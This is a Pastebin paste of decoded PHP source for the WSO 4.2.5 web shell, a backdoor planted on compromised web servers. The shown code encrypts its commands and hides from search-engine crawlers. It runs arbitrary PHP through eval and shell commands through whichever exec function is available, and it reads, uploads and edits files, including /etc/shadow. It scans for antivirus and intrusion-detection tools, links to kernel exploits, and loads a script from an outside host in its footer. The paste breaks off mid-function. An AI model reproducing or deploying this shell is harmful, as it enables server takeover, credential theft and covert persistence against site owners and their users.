ToKeiChun

WSO php7.2 L u f i x 4.2.5 [Decoded]

Dec 9th, 2020 (edited)
338
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 80.26 KB | None | 0 0
  1. <?php
  2. if (!isset($_POST['lynx'])) {
  3.  
  4. $▛ = ""; //admin
  5. $▘ = true;
  6. $▜ = 'UTF-8';
  7. $▚ = 'FilesMan';
  8. $▙ = md5($_SERVER['HTTP_USER_AGENT']);
  9.  
  10. function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
  11. function prototype($k, $v) { $_COOKIE[$k] = $v;setcookie($k, $v);}
  12.  
  13. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
  14. prototype(md5($_SERVER['HTTP_HOST'])."key", $▙);
  15. }
  16. if(empty($_POST['charset']))
  17. $_POST['charset'] = $▜;
  18. if (!isset($_POST['ne'])) {
  19. if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  20. if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  21. if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  22. if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  23. if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  24. }
  25. //function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
  26. @ini_set('error_log',NULL);
  27. @ini_set('log_errors',0);
  28. @ini_set('max_execution_time',0);
  29. @set_time_limit(0);
  30. if (PHP_VERSION_ID < 70000)
  31. @set_magic_quotes_runtime(0);
  32. @define('VERSION', '4.2.5');
  33. if(get_magic_quotes_gpc()) {
  34. function stripslashes_array($array) {
  35. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  36. }
  37. $_POST = stripslashes_array($_POST);
  38. $_COOKIE = stripslashes_array($_COOKIE);
  39. }
  40. /* (С) 11.2011 oRb */
  41. if(!empty($▛)) {
  42. if(isset($_POST['pass']) && (md5($_POST['pass']) == $▛))
  43. prototype(md5($_SERVER['HTTP_HOST']), $▛);
  44. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛))
  45. hardLogin();
  46. }
  47. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  48. $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$▘;
  49. function hardLogin() {
  50. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  51. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  52. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  53. header('HTTP/1.0 404 Not Found');
  54. exit;
  55. }
  56. }
  57. die("<pre align=center><form method=post>Password<br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:#fff;cursor:pointer;'></form></pre>");
  58. }
  59. if(strtolower(substr(PHP_OS,0,3)) == "win")
  60. $os = 'win';
  61. else
  62. $os = 'nix';
  63. $safe_mode = @ini_get('safe_mode');
  64. if(!$safe_mode)
  65. error_reporting(0);
  66. $disable_functions = @ini_get('disable_functions');
  67. $home_cwd = @getcwd();
  68. if(isset($_POST['c']))
  69. @chdir($_POST['c']);
  70. $cwd = @getcwd();
  71. if($os == 'win') {
  72. $home_cwd = str_replace("\\", "/", $home_cwd);
  73. $cwd = str_replace("\\", "/", $cwd);
  74. }
  75. if($cwd[strlen($cwd)-1] != '/')
  76. $cwd .= '/';
  77. /* (С) 04.2015 Pirat */
  78. function hardHeader() {
  79. if(empty($_POST['charset']))
  80. $_POST['charset'] = $GLOBALS['▜'];
  81. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION ."</title>
  82. <style>
  83. body {background-color:#444; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
  84.  
  85. #particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
  86. body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
  87. table.info {color: #fff;background-color: #222;}
  88. table#toolsTbl {background-color: #222;}
  89. span,h1,a {color:#df5 !important;}
  90. span {font-weight:bolder;}
  91. h1 {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#222;margin:0px;}
  92. div.content {padding:5px;margin-left:5px;background-color:#060a10;}
  93. a {text-decoration:none;}
  94. a:hover {text-decoration:underline;}
  95. .tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
  96. .tooltip:hover::after {opacity:1;visibility:visible;}
  97. .ml1 {border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
  98. .bigarea {min-width:100%;max-width:100%;height:400px;}
  99. input, textarea, select {margin:0;color:#fff;background-color:#202832;border:solid 1px #df5;font:9pt Courier New;outline:none;}
  100. label {position:relative}
  101. label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
  102. label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
  103. form {margin:0px;}
  104. #toolsTbl {text-align:center;}
  105. #fak {background:none;}
  106. #fak td {padding:5px 0 0 0;}
  107. iframe {border:1px solid #060a10;}
  108. .toolsInp {width:300px}
  109. .main th{text-align:left;background-color:#5e5e5e;}
  110. .main tr:hover{background-color:#5e5e5e}
  111. input[type='submit']{background-color:#2E6E9C;}
  112. input[type='button']{background-color:#2E6E9C;}
  113. input[type='submit']:hover{background-color:#56AD15;}
  114. input[type='button']:hover{background-color:#56AD15;}
  115. .l2{background-color:#444}
  116. .l1{background-color:#333}
  117. pre {font:9pt Courier New;}
  118. </style>
  119. <script>
  120. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  121. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  122. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  123. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  124. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  125. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  126. var d = document;
  127.  
  128. function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
  129. function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
  130. function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
  131. function set(a,c,p1,p2,p3,charset) {
  132. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  133. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  134. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  135. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  136. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  137. d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  138. d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  139. d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  140. d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  141. d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  142. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  143. }
  144. function g(a,c,p1,p2,p3,charset) {
  145. set(a,c,p1,p2,p3,charset);
  146. d.mf.submit();
  147. }
  148. function a(a,c,p1,p2,p3,charset) {
  149. set(a,c,p1,p2,p3,charset);
  150. var params = 'ajax=true';
  151. for(i=0;i<d.mf.elements.length;i++)
  152. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  153. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  154. }
  155. function sr(url, params) {
  156. if (window.XMLHttpRequest)
  157. req = new XMLHttpRequest();
  158. else if (window.ActiveXObject)
  159. req = new ActiveXObject('Microsoft.XMLHTTP');
  160. if (req) {
  161. req.onreadystatechange = processReqChange;
  162. req.open('POST', url, true);
  163. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  164. req.send(params);
  165. }
  166. }
  167. function processReqChange() {
  168. if( (req.readyState == 4) )
  169. if(req.status == 200) {
  170. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  171. var arr=reg.exec(req.responseText);
  172. eval(arr[2].substr(0, arr[1]));
  173. } else alert('Request error!');
  174. }
  175. </script>
  176. <head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>
  177. <form method=post name=mf style='display:none;'>
  178. <input type=hidden name=a>
  179. <input type=hidden name=c>
  180. <input type=hidden name=p1>
  181. <input type=hidden name=p2>
  182. <input type=hidden name=p3>
  183. <input type=hidden name=charset>
  184. </form>";
  185. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  186. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  187. $totalSpace = $totalSpace?$totalSpace:1;
  188. $release = @php_uname('r');
  189. $kernel = @php_uname('s');
  190. $explink = 'https://noreferer.de/?https://www.exploit-db.com/search/?action=search&description=';
  191. if(strpos('Linux', $kernel) !== false)
  192. $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  193. else
  194. $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  195. if(!function_exists('posix_getegid')) {
  196. $user = @get_current_user();
  197. $uid = @getmyuid();
  198. $gid = @getmygid();
  199. $group = "?";
  200. } else {
  201. $uid = @posix_getpwuid(@posix_geteuid());
  202. $gid = @posix_getgrgid(@posix_getegid());
  203. $user = $uid['name'];
  204. $uid = $uid['uid'];
  205. $group = $gid['name'];
  206. $gid = $gid['gid'];
  207. }
  208. $cwd_links = '';
  209. $path = explode("/", $GLOBALS['cwd']);
  210. $n=count($path);
  211. for($i=0; $i<$n-1; $i++) {
  212. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  213. for($j=0; $j<=$i; $j++)
  214. $cwd_links .= $path[$j].'/';
  215. $cwd_links .= "\")'>".$path[$i]."/</a>";
  216. }
  217. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  218. $opt_charsets = '';
  219. foreach($charsets as $▟)
  220. $opt_charsets .= '<option value="'.$▟.'" '.($_POST['charset']==$▟?'selected':'').'>'.$▟.'</option>';
  221. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  222. if(!empty($GLOBALS['▛']))
  223. $m['Logout'] = 'Logout';
  224. $m['Self remove'] = 'SelfRemove';
  225. $menu = '';
  226. foreach($m as $k => $v)
  227. $menu .= '<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  228. $drives = "";
  229. if ($GLOBALS['os'] == 'win') {
  230. foreach(range('c','z') as $drive)
  231. if (is_dir($drive.':\\'))
  232. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  233. }
  234. /* (С) 08.2015 dmkcv */
  235. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
  236. '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="https://noreferer.de/?https://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a> <a href="'.$explink.'" target=_blank>[ Exploit-DB ]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( ' .$group. ' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#FFDB5F><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
  237. '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">'.$opt_charsets.'</select></label><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
  238. '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div>';
  239. }
  240. function hardFooter() {
  241. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#FFDB5F'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";
  242. echo "
  243. </div>
  244. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
  245. <tr>
  246. <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='submit'></form></td>
  247. <td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
  248. </tr><tr>
  249. <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>
  250. <td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
  251. </tr><tr>
  252. <td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>
  253. <td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
  254. <input type=hidden name=a value='FilesMan'>
  255. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  256. <input type=hidden name=p1 value='uploadFile'>
  257. <input type=hidden name=ne value=''>
  258. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  259. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f[] multiple><input type=submit value='submit'></form><br ></td>
  260. </tr></table></div>
  261. <!-- particles --> <div id='particles-js'></div><script src='https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>
  262. <!-- swiper --> <div id='swiper-js'></div><script type='text/javascript' src='//importantscripts.github.io/swiper.min.js'></script>
  263. <script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
  264. </body></html>";
  265. }
  266. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} }
  267. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} }
  268. function ex($in) {
  269. $▖ = '';
  270. if (function_exists('exec')) {
  271. @exec($in,$▖);
  272. $▖ = @join("\n",$▖);
  273. } elseif (function_exists('passthru')) {
  274. ob_start();
  275. @passthru($in);
  276. $▖ = ob_get_clean();
  277. } elseif (function_exists('system')) {
  278. ob_start();
  279. @system($in);
  280. $▖ = ob_get_clean();
  281. } elseif (function_exists('shell_exec')) {
  282. $▖ = shell_exec($in);
  283. } elseif (is_resource($f = @popen($in,"r"))) {
  284. $▖ = "";
  285. while(!@feof($f))
  286. $▖ .= fread($f,1024);
  287. pclose($f);
  288. }else return "↳ Unable to execute command\n";
  289. return ($▖==''?"↳ Query did not return anything\n":$▖);
  290. }
  291. function viewSize($s) {
  292. if($s >= 1073741824)
  293. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  294. elseif($s >= 1048576)
  295. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  296. elseif($s >= 1024)
  297. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  298. else
  299. return $s . ' B';
  300. }
  301. function perms($p) {
  302. if (($p & 0xC000) == 0xC000)$i = 's';
  303. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  304. elseif (($p & 0x8000) == 0x8000)$i = '-';
  305. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  306. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  307. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  308. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  309. else $i = 'u';
  310. $i .= (($p & 0x0100) ? 'r' : '-');
  311. $i .= (($p & 0x0080) ? 'w' : '-');
  312. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  313. $i .= (($p & 0x0020) ? 'r' : '-');
  314. $i .= (($p & 0x0010) ? 'w' : '-');
  315. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  316. $i .= (($p & 0x0004) ? 'r' : '-');
  317. $i .= (($p & 0x0002) ? 'w' : '-');
  318. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  319. return $i;
  320. }
  321. function viewPermsColor($f) {
  322. if (!@is_readable($f))
  323. return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  324. elseif (!@is_writable($f))
  325. return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  326. else
  327. return '<font color=#FFDB5F><b>'.perms(@fileperms($f)).'</b></font>';
  328. }
  329. function hardScandir($dir) {
  330. if(function_exists("scandir")) {
  331. return scandir($dir);
  332. } else {
  333. $dh = opendir($dir);
  334. while (false !== ($filename = readdir($dh)))
  335. $files[] = $filename;
  336. return $files;
  337. }
  338. }
  339. function which($p) {
  340. $path = ex('which ' . $p);
  341. if(!empty($path))
  342. return $path;
  343. return false;
  344. }
  345. function actionRC() {
  346. if(!@$_POST['p1']) {
  347. $a = array(
  348. "uname" => php_uname(),
  349. "php_version" => phpversion(),
  350. "VERSION" => VERSION,
  351. "safemode" => @ini_get('safe_mode')
  352. );
  353. echo serialize($a);
  354. } else {
  355. eval($_POST['p1']);
  356. }
  357. }
  358. //function prototype($k, $v) { $_COOKIE[$k] = $v;setcookie($k, $v);}
  359. function actionSecInfo() {
  360. hardHeader();
  361. echo '<h1>Server security information</h1><div class=content>';
  362. function showSecParam($n, $v) {
  363. $v = trim($v);
  364. if($v) {
  365. echo '<span>' . $n . ': </span>';
  366. if(strpos($v, "\n") === false)
  367. echo $v . '<br>';
  368. else
  369. echo '<pre class=ml1>' . $v . '</pre>';
  370. }
  371. }
  372. showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  373. if(function_exists('apache_get_modules'))
  374. showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  375. showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  376. showSecParam('Open base dir', @ini_get('open_basedir'));
  377. showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  378. showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  379. showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  380. $temp=array();
  381. if(function_exists('mysql_get_client_info'))
  382. $temp[] = "MySql (".mysql_get_client_info().")";
  383. if(function_exists('mssql_connect'))
  384. $temp[] = "MSSQL";
  385. if(function_exists('pg_connect'))
  386. $temp[] = "PostgreSQL";
  387. if(function_exists('oci_connect'))
  388. $temp[] = "Oracle";
  389. showSecParam('Supported databases', implode(', ', $temp));
  390. echo '<br>';
  391. if($GLOBALS['os'] == 'nix') {
  392. showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  393. showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  394. showSecParam('OS version', @file_get_contents('/proc/version'));
  395. showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  396. if(!$GLOBALS['safe_mode']) {
  397. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  398. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  399. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  400. echo '<br>';
  401. $temp=array();
  402. foreach ($userful as $▟)
  403. if(which($▟))
  404. $temp[] = $▟;
  405. showSecParam('Userful', implode(', ',$temp));
  406. $temp=array();
  407. foreach ($danger as $▟)
  408. if(which($▟))
  409. $temp[] = $▟;
  410. showSecParam('Danger', implode(', ',$temp));
  411. $temp=array();
  412. foreach ($downloaders as $▟)
  413. if(which($▟))
  414. $temp[] = $▟;
  415. showSecParam('Downloaders', implode(', ',$temp));
  416. echo '<br/>';
  417. showSecParam('HDD space', ex('df -h'));
  418. showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  419. showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  420. }
  421. } else {
  422. showSecParam('OS Version',ex('ver'));
  423. showSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts')));
  424. showSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user')));
  425. }
  426. echo '</div>';
  427. hardFooter();
  428. }
  429. function actionFilesTools() {
  430. if( isset($_POST['p1']) )
  431. $_POST['p1'] = urldecode($_POST['p1']);
  432. if(@$_POST['p2']=='download') {
  433. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  434. ob_start("ob_gzhandler", 4096);
  435. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  436. if (function_exists("mime_content_type")) {
  437. $type = @mime_content_type($_POST['p1']);
  438. header("Content-Type: " . $type);
  439. } else
  440. header("Content-Type: application/octet-stream");
  441. $fp = @fopen($_POST['p1'], "r");
  442. if($fp) {
  443. while(!@feof($fp))
  444. echo @fread($fp, 1024);
  445. fclose($fp);
  446. }
  447. }exit;
  448. }
  449. if( @$_POST['p2'] == 'mkfile' ) {
  450. if(!file_exists($_POST['p1'])) {
  451. $fp = @fopen($_POST['p1'], 'w');
  452. if($fp) {
  453. $_POST['p2'] = "edit";
  454. fclose($fp);
  455. }
  456. }
  457. }
  458. hardHeader();
  459. echo '<h1>File tools</h1><div class=content>';
  460. if( !file_exists(@$_POST['p1']) ) {
  461. echo 'File not exists';
  462. hardFooter();
  463. return;
  464. }
  465. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  466. if(!$uid) {
  467. $uid['name'] = @fileowner($_POST['p1']);
  468. $gid['name'] = @filegroup($_POST['p1']);
  469. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  470. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  471. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  472. if( empty($_POST['p2']) )
  473. $_POST['p2'] = 'view';
  474. if( is_file($_POST['p1']) )
  475. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
  476. else
  477. $m = array('Chmod', 'Rename', 'Touch');
  478. foreach($m as $v)
  479. echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  480. echo '<br><br>';
  481. switch($_POST['p2']) {
  482. case 'view':
  483. echo '<pre class=ml1>';
  484. $fp = @fopen($_POST['p1'], 'r');
  485. if($fp) {
  486. while( !@feof($fp) )
  487. echo htmlspecialchars(@fread($fp, 1024));
  488. @fclose($fp);
  489. }
  490. echo '</pre>';
  491. break;
  492. case 'highlight':
  493. if( @is_readable($_POST['p1']) ) {
  494. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  495. $oRb = @highlight_file($_POST['p1'],true);
